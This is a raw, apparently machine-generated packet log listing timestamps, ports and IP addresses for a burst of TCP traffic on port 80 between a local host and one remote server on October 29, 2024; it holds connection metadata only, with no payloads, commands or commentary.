Oct 29, 2024 04:52:28.884432077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884453058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884464979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884499073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884879112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884912014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884934902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884947062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884954929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884982109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884994984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885018110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885031939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885051966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885066986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885087013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885098934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885121107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885133982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885155916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885169029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885189056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885205030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885226965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885235071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885272026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885763884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885798931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885817051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885833025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885842085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885868073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885875940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885900974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885916948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885934114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885945082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.885967970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.885979891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.886003017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.886015892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.886037111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.886049986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.886085033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.970176935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.970231056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.970272064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.970423937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.970423937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.998383045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.998485088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.998507023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.998544931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.998586893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.998600006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.998634100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.998681068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.998699903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.998735905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.998764992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.998812914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.998831034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.998862982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.998888969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.998895884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.998920918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.998943090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999058962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999094963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999110937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999144077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999169111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999217987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999346972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999382019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999397039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999416113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999418974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999458075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999622107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999655962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999675035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999689102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999696970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999722004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999730110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999773026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999876976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999910116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999923944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999946117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999948025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.999980927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.999994040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000016928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000030041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000065088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000255108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000288963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000304937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000320911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000329018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000355005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000365019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000391960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000406981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000427961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000441074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000475883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000776052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000808001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000828028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000842094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000852108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000874043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000880957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000909090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000922918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000941992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000953913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.000973940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.000988007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001019955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001280069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001313925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001332045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001348019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001355886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001380920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001389980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001419067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001430035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001463890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001743078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001775980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001794100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001812935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001821995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001844883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001857996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001892090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.001930952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001966000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.001983881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002000093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002005100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002032042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002044916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002065897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002075911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002104044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002110004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002146959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002490997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002523899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002538919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002557993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002563000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002590895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002595901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002634048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002681971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002715111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002727032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002749920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002752066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002783060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002790928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002816916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002825022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002851963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.002860069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.002893925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.003253937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.003287077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.003307104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.003325939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.003338099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.003386974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.003550053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.003566980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.003577948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.003590107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.003599882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.003611088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.003639936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.087048054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.087086916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.087099075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.087120056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.087141991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.115633011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.115684986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.115696907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.115722895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.115758896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.115818024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.115830898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.115863085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.115890026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.115968943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.115981102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116064072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116133928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.116142035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116153002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116163015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116178989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116189957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.116211891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.116225958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.116384983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116395950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116406918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116432905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.116456032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.116569996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116614103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.116658926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116671085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116681099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116692066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116708994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.116729021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.116935015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116946936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116957903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116969109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116980076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.116987944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.116998911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.117019892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.117234945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117247105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117285013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.117297888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117310047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117320061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117331982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117340088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.117342949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117355108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117367029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.117378950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.117407084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.117794037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117806911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117816925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117827892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117837906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.117842913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.117868900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.117885113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118068933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118115902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118136883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118153095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118164062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118175030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118181944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118202925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118222952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118599892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118611097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118621111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118632078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118643999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118649006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118654013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118668079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118674994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118680000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118691921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118694067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118704081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118711948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118715048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118726969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118733883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.118757963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.118783951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.119297981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119308949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119347095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.119442940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119456053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119472980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119483948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119493961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119494915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.119505882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119517088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119520903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.119529009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119534969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.119541883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119554043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119559050 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.119565964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.119580030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.119607925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.120168924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.120181084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.120191097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.120210886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.120219946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.120234966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.120263100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.204215050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.204237938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.204268932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.204286098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.204571962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.204622984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.232690096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.232741117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.232853889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.232865095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.232899904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.233623981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.233635902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.233650923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.233685970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.233711004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.233750105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.233761072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.233772039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.233783960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.233792067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.233807087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.233834982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.234108925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234119892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234131098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234158993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.234303951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234314919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234325886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:29.234334946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:29.234334946 CET	49760	80	192.168.2.4	185.215.113.206
